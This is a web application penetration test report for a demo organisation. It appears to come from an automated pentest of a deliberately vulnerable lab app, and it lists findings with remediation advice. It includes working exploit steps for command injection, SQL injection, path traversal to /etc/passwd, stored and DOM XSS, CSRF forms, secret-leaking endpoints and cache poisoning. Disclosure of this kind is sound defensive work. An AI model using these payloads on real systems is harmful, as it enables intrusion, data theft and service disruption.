aikido

18 December 2025

Pentest Report

For Roland Demo Org

Table of contents

1. Executive Summary

1.1 Confidentiality statement

This document is the exclusive property of **Roland Demo Org** and **Aikido**. This document contains proprietary and confidential information. Duplication, redistribution, or use, in whole or in part, in any form, requires the consent of both Roland Demo Org and Aikido. Roland Demo Org may share this document with auditors under non-disclosure agreements to demonstrate penetration test requirement compliance.

1.2 Report Overview

On **18 December 2025**, Aikido conducted web application penetration tests for Roland Demo Org to evaluate its security posture and determine its exposure to a targeted attack. The primary goal of this engagement was to proactively discover vulnerabilities that could lead to the compromise of systems or sensitive information.

The assessment aimed to simulate a real-world attacker to identify risks that could impact the confidentiality of private data and the integrity of information systems. The configured scope was limited to the production web application hosted at **https://4cf502da-nginx.aipentest.attack-me.com** and its associated API endpoints.

1.3 Key Findings & Business Impact

Critical SQL Injection in Public Notes Search

A time-based SQL injection vulnerability in the /public-notes search parameter allows attackers to execute arbitrary SQL queries, potentially leading to unauthorized data access and manipulation of the entire database.

Authenticated Remote Code Execution via Command Injection

The /backup-notes endpoint allows authenticated users to inject arbitrary shell commands, leading to remote code execution on the server. This critical vulnerability enables full server compromise within the application container.

Stored Cross-Site Scripting (XSS) in Note Viewer

Insufficient escaping in the note viewer (/notes/:id) allows attackers to store and execute malicious JavaScript, potentially leading to session hijacking and account takeover for any user viewing the compromised note.

Insecure Direct Object Reference (IDOR) Exposes Private Notes

The /api/notes/:id endpoint lacks proper authorization checks, allowing unauthenticated access to private notes. This enables mass harvesting of sensitive user data and violates data privacy.

Sensitive Data Exposure in Backup Feature

The /backup-notes endpoint leaks database credentials in error messages, potentially allowing attackers to directly access and manipulate the entire application database.

2. Findings

2.1 Vulnerability Distribution

Critical	High	Medium	Low
1	7	8	4

The table below outlines each identified vulnerability, categorized by severity and current remediation status. Findings highlight several critical and high-risk issues that could allow attackers to compromise application integrity, access sensitive data, or execute arbitrary code on the server.

- **Critical-severity issues** involve authenticated command injection in the /backup-notes endpoint, potentially leading to remote code execution and complete system compromise.
- **High-severity issues** include SQL injection, stored XSS, IDOR, sensitive data exposure, local file inclusion, and DOM XSS vulnerabilities, which could result in unauthorized access, data breaches, and system manipulation.
- **Medium-severity issues** encompass CSRF, GraphQL vulnerabilities, web cache poisoning, and open redirect, potentially leading to unauthorized actions, information disclosure, and user redirection to malicious sites.
- **Low-severity issues** include SSRF, weak TLS cipher suites, missing OCSP stapling, and misconfigured security headers, which may expose the system to potential attacks and information leakage.

2.2 Master Findings Table

ID	Title	State	Severity
PT-1	Authenticated Command Injection in /backup-notes 'format' parameter leads to RCE	Unresolved	Critical
PT-2	SQL Injection in /public-notes search parameter allows time-based injection	Unresolved	High
PT-3	Stored Cross-Site Scripting (XSS) in Note Viewer (/notes/:id) via insufficient escaping	Unresolved	High
PT-4	Insecure Direct Object Reference (IDOR) in /api/notes/:id exposes private notes without authentication	Unresolved	High
PT-5	Sensitive Data Exposure in /backup-notes leaks plaintext DB credentials via error message	Unresolved	High
PT-6	Local File Inclusion (LFI) in /static endpoint via unsafe file path handling	Unresolved	High
PT-7	DOM XSS in Create Note preview: unsanitized Raw Response injection via /api/link-preview	Unresolved	High
PT-8	Sensitive Data Exposure: /health endpoint leaks environment variables and credentials	Unresolved	High
PT-9	Cross-Site Request Forgery (CSRF) on /create-note and /backup-notes enables unauthorized actions	Fixed	Medium
PT-10	GraphQL Endpoint Accepts GET Requests for Queries at /graphql	Unresolved	Medium
PT-11	Web Cache Poisoning in Nginx /static due to unkeyed header and cached 5xx	Unresolved	Medium
PT-12	GraphQL Alias Overloading Allowed at /graphql (No Alias Limits)	Unresolved	Medium
PT-13	GraphQL Query Depth Limiting Not Enforced at /graphql	Unresolved	Medium
PT-14	GraphQL Introspection Enabled on /graphql	Unresolved	Medium
PT-15	Open Redirect in /logout via unvalidated 'redirect' parameter	Unresolved	Medium

ID	Title	State	Severity
PT-16	GraphQL Field Suggestions Enabled at /graphql	Unresolved	Medium
PT-17	Server-Side Request Forgery (SSRF) in /api/link-preview allows fetching arbitrary URLs	Unresolved	Low
PT-18	Weak TLS cipher suites accepted	Risk Accepted	Low
PT-19	Missing OCSP stapling	Unresolved	Low
PT-20	Missing or Misconfigured Security Headers	Unresolved	Low

2.3 Detailed Findings

2.3.1 PT-1 - Authenticated Command Injection in /backup-notes 'format' parameter leads to RCE

Critical

Identified on: December 18th 2025

Description

The /backup-notes endpoint concatenates the user-controlled 'format' parameter into a shell command executed via child_process.exec. This allows an authenticated user to inject arbitrary shell commands and execute them on the server, demonstrated by running 'id'.

Business impact

Remote code execution enables full compromise of the application host/container. An attacker can read or modify application data, exfiltrate secrets, pivot to adjacent systems, or plant backdoors. Since the endpoint is available to any authenticated user, the likelihood of exploitation is high once a user account is obtained. This could result in data breaches, service disruption, and severe regulatory implications.

How to exploit

Step 1: Authenticate as a valid user or reuse the provided session cookie. Optionally verify access by loading the dashboard.

```
curl -i -k -s 'https://b8fa89de-nginx.aipentest.attack-me.com/dashboard' -H "Cookie:
connect.sid=s%3AJh7k1f2oCPDxzaWj7_Ku7nNHTNIwrirF.FnueDCMihVi1mIh3zIiGDRjqIDHbiS5eJTntowx5S1E"
```

Step 2: Exploit the command injection by posting a crafted 'format' that runs 'id' and forces a non-zero exit so the output is returned in the error message.

```
curl -i -k -s -X POST 'https://b8fa89de-nginx.aipentest.attack-me.com/backup-notes' \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  -H "Cookie: connect.sid=s%3AJh7k1f2oCPDxzaWj7_Ku7nNHTNIwrirF.FnueDCMihVi1mIh3zIiGDRjqIDHbiS5eJTntowx5S1E" \
  --data 'format=true; sh -lc "id 1>&2; exit 1"; #'
```

Step 3: Observe the response body includes the output of the 'id' command, confirming arbitrary command execution on the server.

Remediation

Implement the following measures to eliminate this vulnerability:

- Remove usage of child_process.exec for this feature; avoid invoking a shell. If post-processing is required, use child_process.spawn with fixed binaries and arguments.
- Implement strict allow-listing for supported formats (e.g., 'cat', 'gzip -c'). Map user selections to predefined command arrays without passing raw input to the shell.
- Properly escape arguments using safe APIs and do not concatenate untrusted strings into shell commands.
- Run the application with least privilege and employ OS-level restrictions (e.g., seccomp/AppArmor) to limit blast radius.
- Avoid returning raw error messages to clients to prevent leakage of secrets and system details.

2.3.2 PT-2 - SQL Injection in /public-notes search parameter allows time-based injection

High

Identified on: December 18th 2025

Description

The /public-notes endpoint concatenates the user-supplied 'search' query directly into a SQL statement without proper parameterization. This allows an attacker to inject SQL functions such as SLEEP(), enabling time-based SQL injection to verify and exploit the flaw.

Business impact

This vulnerability enables attackers to manipulate database queries and exfiltrate or alter data. Even with only time-based exploitation, attackers can enumerate schema and extract sensitive content. As the endpoint is unauthenticated, any internet user can perform reconnaissance and potentially escalate impact. Business risks include data breach of notes and users, service degradation via expensive queries, and regulatory exposure if personal data is stored.

How to exploit

Step 1: Send a request with a 1-second sleep injection in the search parameter

```
python3 - << 'PY'
import requests, time
base = 'https://b8fa89de-nginx.aipentest.attack-me.com/public-notes?search='
url = base + "x%27%29%20OR%20SLEEP(1)%20--%20"
t0 = time.time(); r = requests.get(url, timeout=30); dt = time.time()-t0
print('status=', r.status_code, 'time=', round(dt,2),'s')
PY
```

Step 2: Send the same request but with a 5-second sleep to observe increased latency

```
python3 - << 'PY'
import requests, time
base = 'https://b8fa89de-nginx.aipentest.attack-me.com/public-notes?search='
url = base + "x%27%29%20OR%20SLEEP(5)%20--%20"
t0 = time.time(); r = requests.get(url, timeout=30); dt = time.time()-t0
print('status=', r.status_code, 'time=', round(dt,2),'s')
PY
```

Step 3: Compare the response times; the 5-second sleep request is significantly slower, confirming time-based SQL injection.

Remediation

Implement the following measures to eliminate this vulnerability:

- Replace dynamic string concatenation with parameterized queries for search, e.g., `... WHERE ... AND (notes.title LIKE ? OR notes.content LIKE ?)` and bind `['%term%','%term%']`.
- Escape and validate user input server-side; disallow SQL control characters in search if possible and use a safe escaping routine for LIKE (escape %, _, and backslash).
- Apply the same fix to the authenticated /dashboard endpoint, which uses an identical pattern.
- Add centralized input validation and query helpers to prevent reintroduction of string-concatenated SQL queries.
- Add automated tests for injection attempts (including quotes and comment sequences) to catch regressions.

2.3.3 PT-3 - Stored Cross-Site Scripting (XSS) in Note Viewer (/notes/:id) via insufficient escaping

High

Identified on: December 18th 2025

Description

The note viewer renders user-controlled note content into innerHTML after applying a flawed escape function that only replaces the first occurrences of '<' and '>'. An attacker can store crafted content that bypasses the escape function, causing JavaScript execution when any user views the note.

Business impact

Stored XSS enables arbitrary JavaScript execution in the victim's browser, leading to session hijacking, CSRF, data theft, and complete account takeover of users who view the malicious note. If administrators view the note, this could compromise administrative sessions and sensitive data, resulting in reputational damage and regulatory exposure.

How to exploit

Step 1: Register a new user account and log in (self-registration is allowed by the app)

Step 2: Create a new note with title 'xsstest' and the following content: abc<def > <img src=x onerror="console.log(424273603)"> (leave it private or public)

Step 3: Open the note view page (e.g., click 'View Note' on the newly created note to go to /notes/{id})

Step 4: (Reference) The vulnerable client-side code sets innerHTML using a flawed escape function

```
// In views/note.ejs, line ~69
function escapeHtml(text) {
  return text.replace('<', '&lt;').replace('>', '&gt;');
}
document.getElementById('note-text').innerHTML = escapeHtml(note.content);
```

Remediation

Implement the following measures to eliminate this vulnerability:

- Do not use innerHTML for untrusted content; prefer textContent to render plain text
- If HTML must be allowed, use a well-maintained sanitizer (e.g., DOMPurify) with a strict allowlist and then insert with innerHTML
- If escaping is used, ensure comprehensive escaping of &, <, >, ", and ' across the entire string (e.g., using a robust, battle-tested library or a correct global regex)
- Consider server-side sanitization as an additional layer and enforce content-safe rendering in templates
- Add automated tests to verify that malicious payloads are neutralized and no script execution occurs

2.3.4 PT-4 - Insecure Direct Object Reference (IDOR) in /api/notes/:id exposes private notes without authentication

High

Identified on: December 18th 2025

Description

The /api/notes/:id endpoint returns full note details to any requester without requiring authentication or enforcing visibility checks. As a result, attackers can retrieve private notes by guessing or enumerating IDs. This occurs because the route lacks both authentication middleware and authorization logic around the is_public flag and note ownership.

Business impact

This flaw enables unauthorized disclosure of private user content and metadata at scale. Attackers can scrape confidential notes, leading to data breaches, loss of user trust, and potential regulatory violations (e.g., GDPR/CCPA) if personal data is stored in notes. The likelihood of exploitation is high due to the ease of enumeration. The exposure undermines confidentiality across the entire user base.

How to exploit

Step 1: Register a new user account (to create a private note for testing)

```
curl -i -X POST 'https://b8fa89de-nginx.aipentest.attack-me.com/register' \
  -d 'username=agent_poc' -d 'email=agent_019b3236-8573-71a1-9eaf-d5c8db2823d3@auto-pentest.com' -d 'password=****d42.'
```

Step 2: Log in with the new account

```
curl -i -X POST 'https://b8fa89de-nginx.aipentest.attack-me.com/login' \
  -c cookies.txt -d 'username=agent_poc' -d 'password=****d42.'
```

Step 3: Create a private note (do not set is_public)

```
curl -i -X POST 'https://b8fa89de-nginx.aipentest.attack-me.com/create-note' \
  -b cookies.txt -d 'title=PrivatePOC' -d 'content=private_secret_POC'
```

Step 4: Obtain the note ID from the dashboard HTML (first note typically)

```
curl -s -X GET 'https://b8fa89de-nginx.aipentest.attack-me.com/dashboard' -b cookies.txt | \
  grep -oE '/notes/[0-9]+' | head -n1
```

Step 5: Access the note via unauthenticated API call using the ID

```
curl -s 'https://b8fa89de-nginx.aipentest.attack-me.com/api/notes/10'
```

Remediation

Implement the following measures to eliminate this vulnerability:

- Protect /api/notes/:id with requireAuth so only authenticated users can access it
- Enforce authorization by allowing access only if notes.is_public = TRUE or notes.author_id equals the authenticated user's ID
- Introduce a separate public endpoint (e.g., /api/public-notes/:id) that returns only public notes
- Implement unit/integration tests for access control on note retrieval
- Consider rate limiting/encryption or opaque IDs to make enumeration harder, though this is not a substitute for authorization

2.3.5 PT-5 - Sensitive Data Exposure in /backup-notes leaks plaintext DB credentials via error message

High

Identified on: December 18th 2025

Description

The /backup-notes endpoint shells out to mysqldump with credentials embedded in the command and returns error.message to clients on failure. This reveals the full mysqldump command including database username and password, which any authenticated user can obtain by triggering a controlled failure.

Business impact

Exposure of live database credentials allows attackers to directly connect to the database and exfiltrate or tamper with all application data. This threatens confidentiality, integrity, and availability, and can lead to regulatory compliance violations and complete loss of user trust. Any authenticated user can trigger the leak, including low-privilege accounts.

How to exploit

Step 1: Register a new user and log in (or use any authenticated session)

```
POST https://b8fa89de-nginx.aipentest.attack-me.com/register with form fields username,email,password\nPOST https://b8fa89de-nginx.aipentest.attack-me.com/login with form fields username,password
```

Step 2: Trigger a controlled backup failure by posting a failing format value (e.g., 'false')

```
curl -i -s -X POST 'https://b8fa89de-nginx.aipentest.attack-me.com/backup-notes' \\n  -H 'Content-Type: application/x-www-form-urlencoded' \\n  -b 'connect.sid=<your_valid_session_cookie>' \\n  --data 'format=false'
```

Step 3: Verified using Python PoC (executed during testing)

```
import requests, time\nbase='https://b8fa89de-nginx.aipentest.attack-me.com'\ns=requests.Session(); s.headers.update({'User-Agent':'Mozilla/5.0'})\nusername=f'agentx019b{int(time.time())%10000}'; email=f'agent_019b3236-8573-71a1-9eaf-d5fd8494df45+{int(time.time())%10000}@auto-pentest.com'\npassword='****d42.'\ns.post(f'{base}/register', data={'username':username,'email':email,'password':password}, allow_redirects=False, timeout=60)\ns.post(f'{base}/login', data={'username':username,'password':password}, allow_redirects=False, timeout=60)\ns.get(f'{base}/dashboard', timeout=60)\nr=s.post(f'{base}/backup-notes', data={'format':'false'}, timeout=120)\nprint('Status:', r.status_code); print(r.text[:800])
```

Remediation

Implement the following measures to eliminate this vulnerability:

- Do not embed passwords on the command line; use --defaults-extra-file for mysqldump or environment/secure config outside of the command string
- Replace exec string commands with spawn and pass arguments as an array to avoid shell and reduce leakage; better yet, avoid shelling out and perform backups via database driver
- Return generic error messages to clients; log detailed errors server-side only
- Constrain 'format' to an allowlist (e.g., cat, gzip, head, tail) or implement formatting server-side without shell piping
- Implement centralized error handling that strips sensitive data before returning responses

2.3.6 PT-6 - Local File Inclusion (LFI) in /static endpoint via unsafe file path handling

High

Identified on: December 18th 2025

Description

The /static endpoint accepts a user-controlled 'file' query parameter and attempts to mitigate traversal by removing '../' substrings. This naive sanitization is bypassable, allowing construction of absolute paths that escape the intended directory. As a result, arbitrary files such as /etc/passwd can be read by unauthenticated users.

Business impact

Arbitrary file read enables exposure of sensitive configuration files, credentials, source code, and keys. Attackers can harvest secrets for further compromise, pivot to RCE (e.g., by reading environment variables or private keys), and impact confidentiality and integrity. Because the endpoint is unauthenticated, the risk extends to any internet user.

How to exploit

Step 1: Request /etc/passwd using a traversal-bypass pattern

```
curl -i 'https://b8fa89de-nginx.aipentest.attack-me.com/static?file=....//....//....//....//....//....//....//....//etc/passwd'
```

Step 2: (Optional) Force plain text content type to aid readability

```
curl -i 'https://b8fa89de-nginx.aipentest.attack-me.com/static?file=....//....//....//....//....//....//....//....//etc/passwd' \
  -H 'X-Content-Type: text/plain'
```

Remediation

Implement the following measures to eliminate this vulnerability:

- Resolve the requested path with path.resolve and enforce it stays within the intended directory: const base = path.join(__dirname,'public'); const requested = path.resolve(base, file); if (!requested.startsWith(base + path.sep)) return 403
- Reject any input that attempts to use absolute paths or traversal sequences; do not attempt manual substring sanitization
- Prefer serving whitelisted static assets via express.static with a fixed directory and disable dynamic path parameters
- Remove the client-controlled Content-Type header override; set only safe, server-defined content types
- Add centralized validation utilities and unit tests for path handling to prevent regressions

2.3.7 PT-7 - DOM XSS in Create Note preview: unsanitized Raw Response injection via /api/link-preview

High

Identified on: December 18th 2025

Description

The Create Note page renders the raw body from /api/link-preview directly into innerHTML without sanitization. By pointing the preview to an attacker-controlled URL that returns HTML, the page injects attacker-supplied markup and executes JavaScript in the victim's browser.

Business impact

A successful exploit executes arbitrary JavaScript in the context of the application, allowing session hijacking, account takeover, CSRF of authenticated actions, and data exfiltration of notes. Since this occurs on a workflow used by authenticated users, attackers can phish or trick users into previewing a malicious link, compromising their accounts and data. Business impact includes loss of confidentiality, integrity, and user trust, with potential regulatory implications if personal data is exposed.

How to exploit

Step 1: Host a malicious HTML page that injects out of the <pre> and executes JS

```
# Example payload content served at http://63.32.146.163:30092/payload.html
</pre><img src=x onerror="console.log(424296667)">
```

Step 2: Log in with any user, navigate to /create-note, enter the malicious URL in the link preview field, and click Preview

Step 3: Alternatively, reproduce programmatically by navigating to /create-note and triggering the preview using the same URL; the behavior is visible in the browser console

Remediation

Implement the following measures to eliminate this vulnerability:

- Do not use innerHTML for untrusted data; use textContent or explicitly build DOM nodes with safe text insertion.
- Sanitize any HTML using a robust library such as DOMPurify if HTML rendering is strictly required.
- Escape all injected values (including title and body) before insertion; avoid directly embedding arbitrary response bodies in the DOM.
- Consider enforcing strict Content Security Policy (CSP) to reduce XSS impact (e.g., disallow inline scripts).

2.3.8 PT-8 - Sensitive Data Exposure: /health endpoint leaks environment variables and credentials

High

Identified on: December 18th 2025

Description

The unauthenticated /health endpoint accepts debug and env query parameters that disclose sensitive server information. With debug=true it returns the full process environment, including DB credentials; with env it returns specific variable values. This enables attackers to retrieve secrets without authentication.

Business impact

Exposing environment variables to unauthenticated users enables immediate compromise of back-end services (e.g., database) and facilitates lateral movement. Attackers can reuse the leaked credentials to access data, modify records, or escalate to full system compromise. This creates a significant confidentiality breach with regulatory implications and undermines trust in the platform.

How to exploit

Step 1: Request a specific secret using the env parameter

```
curl -s 'https://b8fa89de-nginx.aipentest.attack-me.com/health?env=DB_PASSWORD'
```

Step 2: Dump the entire environment using debug=true

```
curl -s 'https://b8fa89de-nginx.aipentest.attack-me.com/health?debug=true'
```

Remediation

Implement the following measures to eliminate this vulnerability:

- Remove or disable debug and env query behaviors in production builds; do not return environment variables from health endpoints
- If diagnostic data is necessary, restrict access to authenticated/authorized admin users and return only a minimal, whitelisted subset of non-sensitive information
- Implement environment-based guards (e.g., only in NODE_ENV=development) and feature flags
- Add automated tests and linters to detect accidental exposure of process.env in responses

2.3.9 PT-9 - Cross-Site Request Forgery (CSRF) on /create-note and /backup-notes enables unauthorized actions

~~Medium~~ Resolved

Identified on: December 18th 2025 | Resolved on: December 18th 2025

Retest summary

Original CSRF PoCs against /create-note and /backup-notes no longer work cross-site. Auto-submitted POSTs from a different origin did not carry the session cookie and were redirected to /login, so no note was created and no backup was triggered.

Original finding

The POST endpoints /create-note and /backup-notes accept state-changing requests without CSRF protections. Because sessions are cookie-based and cookies are sent cross-site, an attacker can force a logged-in user to create notes or trigger backups by auto-submitting a form from a malicious origin.

Business impact

This enables unauthorized actions in user accounts, breaking integrity and user trust. Attackers can silently create or manipulate user content and initiate server-side work (backups), potentially escalating to severe impact when combined with other flaws. Business risks include unauthorized data changes, potential abuse of infrastructure resources, and compliance concerns due to actions performed without user consent.

How to exploit

Step 1: Authenticate as any user (self-register is allowed). For example, we registered username 'agent_test_334761' and confirmed /dashboard and /create-note were accessible.

Step 2: Host and load this CSRF PoC in a browser where the victim is logged in. It auto-submits a POST to /create-note without any CSRF token.

```
<html>
  <body>
    <form action="https://b8fa89de-nginx.aipentest.attack-me.com/create-note" method="POST">
      <input type="hidden" name="title" value="CSRF note via PoC">
      <input type="hidden" name="content" value="This note was created by a CSRF attack.">
    </form>
    <script>document.forms[0].submit();</script>
  </body>
</html>
```

Step 3: Similarly, this PoC triggers the backup action via /backup-notes without any CSRF token (using a safe format of 'cat' for demonstration).

```
<html>
  <body>
    <form action="https://b8fa89de-nginx.aipentest.attack-me.com/backup-notes" method="POST">
      <input type="hidden" name="format" value="cat">
    </form>
    <script>document.forms[0].submit();</script>
  </body>
</html>
```

Step 4: Optional quick verification with curl using an authenticated session cookie (no CSRF token present).

```
curl -i 'https://b8fa89de-nginx.aipentest.attack-me.com/create-note' \
  -H 'Cookie: connect.sid=<YOUR_SESSION_COOKIE>' \
  --data 'title=csrf+curl+test&content=created+via+curl'
```

Remediation

Implement the following measures to eliminate this vulnerability:

- Implement CSRF protection middleware (e.g., csurf) and require a per-request CSRF token on all state-changing routes (/create-note, /backup-notes, etc.)
- Validate Origin and/or Referer headers for POST/PUT/DELETE requests; reject cross-site origins
- Set session cookies with SameSite=Lax (or Strict) and Secure to reduce cross-site cookie sending
- Add anti-automation controls and audit logging for state-changing actions
- Review backup-notes for further hardening and ensure dangerous operations cannot be triggered by untrusted inputs

2.3.11 PT-10 - GraphQL Endpoint Accepts GET Requests for Queries at /graphql

Medium

Identified on: December 18th 2025

Description

The GraphQL endpoint processes queries sent via GET requests, returning data with HTTP 200. Although mutations are blocked via GET (405), accepting GET for queries enables CSRF risks by allowing query execution through crafted links.

Business impact

Accepting GET for GraphQL queries enables CSRF, allowing attackers to embed links or images that execute queries on behalf of authenticated users. This may leak sensitive data via reflected content or side-channel effects and can aid reconnaissance or targeted follow-up attacks. Although mutations are blocked via GET, the remaining exposure from query execution is a medium risk in production.

How to exploit

Step 1: Send a GET request with an encoded query parameter to the GraphQL endpoint

```
curl -ksS -o - -w "\n[status:%{http_code}]\n" -G --data-urlencode 'query={__typename}' https://b8fa89de-nginx.aipentest.attack-me.com/graphql
```

Step 2: Verify that a mutation over GET is rejected (for severity determination)

```
curl -ksS -o - -w "\n[status:%{http_code}]\n" -G --data-urlencode 'query=mutation { __typename }' https://b8fa89de-nginx.aipentest.attack-me.com/graphql
```

Remediation

Implement the following measures to eliminate this vulnerability:

- Configure the GraphQL server to accept only POST requests for all operations (disable GET handling)
- Enforce CSRF protections and include same-site cookie policies to reduce risk if GET must be supported
- Disable GraphiQL/Playground in production to prevent accidental reliance on GET-based interactions
- Implement strict Content-Type validation and reject non-POST methods at the reverse proxy or application router

2.3.12 PT-11 - Web Cache Poisoning in Nginx /static due to unkeyed header and cached 5xx

Medium

Identified on: December 18th 2025

Description

The /static endpoint is fronted by Nginx with caching that ignores backend headers and caches 5xx responses for 1 minute. By sending an unkeyed header (X-Content-Type) with a malformed value, the origin returns 500 which gets cached under the URL, causing subsequent users to receive the poisoned 500 response for that resource.

Business impact

This enables denial-of-service against key static assets. An attacker can force 500 errors to be served for widely used resources (like CSS/JS), degrading the entire user experience for all visitors for the cache lifetime. This impacts availability and reliability, increases support load, and can erode user trust. If critical assets are affected, pages may become unusable, directly affecting business operations.

How to exploit

Step 1: Establish a clean baseline for a unique static asset URL to ensure a fresh cache entry

```
curl -i "https://b8fa89de-nginx.aipentest.attack-me.com/static?file=style.css&v=atk123"
```

Step 2: Poison the cache by forcing origin processing and triggering a 500 via malformed header

```
curl -i -H "Cache-Control: no-cache" -H "X-Content-Type: %" "https://b8fa89de-nginx.aipentest.attack-me.com/static?file=style.css&v=atk123"
```

Step 3: Request the same URL without special headers to observe the poisoned cached response served to other users

```
curl -i "https://b8fa89de-nginx.aipentest.attack-me.com/static?file=style.css&v=atk123"
```

Remediation

Implement the following measures to eliminate this vulnerability:

- Do not cache error responses: remove 500 from proxy_cache_valid or set separate low TTL for errors
- Include header variance in the cache key or add Vary: X-Content-Type, e.g., add $http_x_content_type to proxy_cache_key for /static or set proxy_cache_vary
- Add proxy_no_cache and proxy_cache_bypass conditions on suspicious headers (e.g., $http_x_content_type) to avoid caching poisoned variants
- Harden backend: only decode the header if present and wrap decodeURIComponent in try/catch; return 400 on invalid values instead of throwing
- Avoid setting Set-Cookie on static responses (disable saveUninitialized sessions) so such responses are not inadvertently made cacheable

2.3.13 PT-12 - GraphQL Alias Overloading Allowed at /graphql (No Alias Limits)

Medium

Identified on: December 18th 2025

Description

The GraphQL endpoint accepts 30 aliased queries in a single request, returning HTTP 200 with results for all aliases. This indicates no alias limiting and allows batching many operations per request, increasing DoS risk.

Business impact

Lack of alias limiting allows attackers to bundle numerous operations into a single request, potentially leading to heavy backend load and denial of service. This can also weaken or bypass per-request rate limits and complexity controls if aliases are not counted adequately.

How to exploit

Step 1: Send a GraphQL query with 10 aliases to confirm baseline acceptance

```
import requests\nurl = "https://b8fa89de-nginx.aipentest.attack-me.com/graphql"\nnum_aliases = 10\naliases = "\n  ".join([f"a{i}: __typename" for i in range(num_aliases)])\nquery = {"query": f"{{ {aliases} }}"}\nr = requests.post(url, json=query, timeout=20)\nprint(r.status_code)\nprint(r.text[:200])
```

Step 2: Send a GraphQL query with 30 aliases to test limiting (non-destructive)

```
import requests\nurl = "https://b8fa89de-nginx.aipentest.attack-me.com/graphql"\nnum_aliases = 30\naliases = "\n  ".join([f"b{i}: __typename" for i in range(num_aliases)])\nquery = {"query": f"{{ {aliases} }}"}\nr = requests.post(url, json=query, timeout=20)\nprint(r.status_code)\nprint(r.text[:2000])
```

Remediation

Implement the following measures to eliminate this vulnerability:

- Implement alias limiting via query cost/complexity analysis or custom validation rules that count aliases
- Use graphql-query-complexity or similar middleware to cap overall request cost, counting duplicated selections via aliases
- Apply rate limiting per client and per time window, and set reasonable max query depth and field counts
- Consider persisted queries/allowlists in production to restrict arbitrary batching

2.3.14 PT-13 - GraphQL Query Depth Limiting Not Enforced at /graphql

Medium

Identified on: December 18th 2025

Description

The GraphQL endpoint processes deeply nested queries without rejecting them for exceeding a maximum depth. An 8-level nested query executed successfully and deeper queries began timing out, indicating no effective depth limit and a potential DoS vector.

Business impact

Without query depth limits, attackers can craft deeply nested queries that consume significant compute and database resources, leading to increased latency, timeouts, and potential denial of service. This is a medium risk due to the feasibility of abuse by unauthenticated users.

How to exploit

Step 1: Execute a deeply nested query (8 levels) using Python requests

```
import requests\nurl = "https://b8fa89de-nginx.aipentest.attack-me.com/graphql"\n\n# Build 8-level nested query using users → articles → author\ninner = "id"\nfor _ in range(8):\n    inner = f"articles {{ author {{ {inner} }} }}"\nquery = {"query": "{ users { " + inner + " } }"}\n\nr = requests.post(url, json=query, timeout=20)\nprint(r.status_code)\nprint(r.text[:400])
```

Step 2: Increase depth to 10 or more to observe resource strain/timeouts (evidence of no enforced limit)

```
import requests\nurl = "https://b8fa89de-nginx.aipentest.attack-me.com/graphql"\n\ninner = "id"\nfor _ in range(10):\n    inner = f"articles {{ author {{ {inner} }} }}"\nquery = {"query": "{ users { " + inner + " } }"}\n\nrequests.post(url, json=query, timeout=20)
```

Remediation

Implement the following measures to eliminate this vulnerability:

- Add a depth limiting rule (e.g., graphql-depth-limit or custom validation) and set a conservative maximum depth (e.g., 5) for production
- Implement query complexity analysis to bound cost (e.g., graphql-query-complexity) and combine with depth limiting
- Rate-limit GraphQL requests and enforce timeouts at the reverse proxy to mitigate abuse
- Consider persisted queries/allowlists to prevent arbitrary deep queries from unauthenticated clients

2.3.15 PT-14 - GraphQL Introspection Enabled on /graphql

Medium

Identified on: December 18th 2025

Description

The GraphQL endpoint at /graphql allows full schema introspection and returns types and fields, indicating introspection is enabled in production. This exposes the API structure to unauthenticated users and facilitates enumeration and targeted attacks.

Business impact

Exposed GraphQL schema information assists attackers in rapidly discovering all available queries, mutations, and types, including potentially sensitive operations and fields. This increases the likelihood and effectiveness of subsequent attacks such as data enumeration, injection against specific resolvers, and abuse of hidden mutations. The business impact includes accelerated discovery of attack surfaces and potential exposure of implementation details that could lead to data leakage or privilege abuse. Likelihood is moderate given endpoint is publicly accessible and unauthenticated; regulatory implications may arise if schema reveals sensitive data structures or fields.

How to exploit

Step 1: Send an introspection query to the GraphQL endpoint using curl

```
curl -ksS -H 'Content-Type: application/json' --data-binary '{"query":"{ __schema { types { name fields { name } } } }"}' https://b8fa89de-nginx.aipentest.attack-me.com/graphql -i
```

Step 2: Optionally verify with a lighter introspection query to identify operation types

```
curl -ksS -H 'Content-Type: application/json' --data-binary '{"query":"{ __schema { queryType { name } mutationType { name } subscriptionType { name } } }"}' https://b8fa89de-nginx.aipentest.attack-me.com/graphql -i
```

Remediation

Implement the following measures to eliminate this vulnerability:

- Disable GraphQL introspection in production (e.g., set introspection: false for Apollo Server or disable in express-graphql)
- Enforce authentication/authorization for GraphQL access and allow introspection only for privileged roles in non-production environments
- Disable or restrict GraphiQL/GraphQL Playground in production to prevent schema browsing
- Implement schema allowlisting and query whitelisting where possible; consider a persisted queries approach
- Add WAF rules/rate limiting to detect and block introspection queries as a defense-in-depth measure

2.3.16 PT-15 - Open Redirect in /logout via unvalidated 'redirect' parameter

Medium

Identified on: December 18th 2025

Description

The /logout endpoint accepts a user-controlled 'redirect' query parameter and redirects to it without validation. Because Express accepts absolute URLs in res.redirect, an authenticated request to /logout can send users to any external site. This enables phishing, credential theft, and chaining with other attacks.

Business impact

Open redirects allow attackers to leverage the trusted application domain to trick users into navigating to a malicious site, increasing the success rate of phishing and credential harvesting. They can also be chained with OAuth and SSO flows that rely on trusted redirectors, potentially leading to token leakage. This undermines user trust, increases fraud risk, and may violate security best practices and compliance requirements around safe redirect handling.

How to exploit

Step 1: Register a new user account to avoid impacting shared credentials

```
curl -i -s -k -X POST 'https://b8fa89de-nginx.aipentest.attack-me.com/register' \
  -d 'username=agent_demo' -d 'email=agent_demo@auto-pentest.com' -d 'password=****d42.'
```

Step 2: Log in with the new account and capture the connect.sid cookie

```
curl -i -s -k -X POST 'https://b8fa89de-nginx.aipentest.attack-me.com/login' \
  -d 'username=agent_demo' -d 'password=****d42.'
```

Step 3: Use the session cookie to call /logout with an external redirect target

```
curl -i -s -k 'https://b8fa89de-nginx.aipentest.attack-me.com/logout?redirect=https://example.com' \
  -H 'Cookie: connect.sid=s%3A<your_cookie_here>'
```

Step 4: Verification performed during testing (programmatic)

```
Python requests test returned 302 with Location: https://example.com when calling /logout?redirect=https://example.com using a valid connect.sid cookie.
```

Remediation

Implement the following measures to eliminate this vulnerability:

- Do not accept arbitrary redirect URLs from the client. Instead, maintain a server-side allowlist of safe relative paths and validate the parameter against it.
- Enforce that redirect targets start with '/' and are not absolute URLs or protocol-relative URLs; reject values starting with 'http:', 'https:', or '//'
- Consider ignoring user-supplied redirect parameters altogether and always redirect to a fixed safe path (e.g., '/').
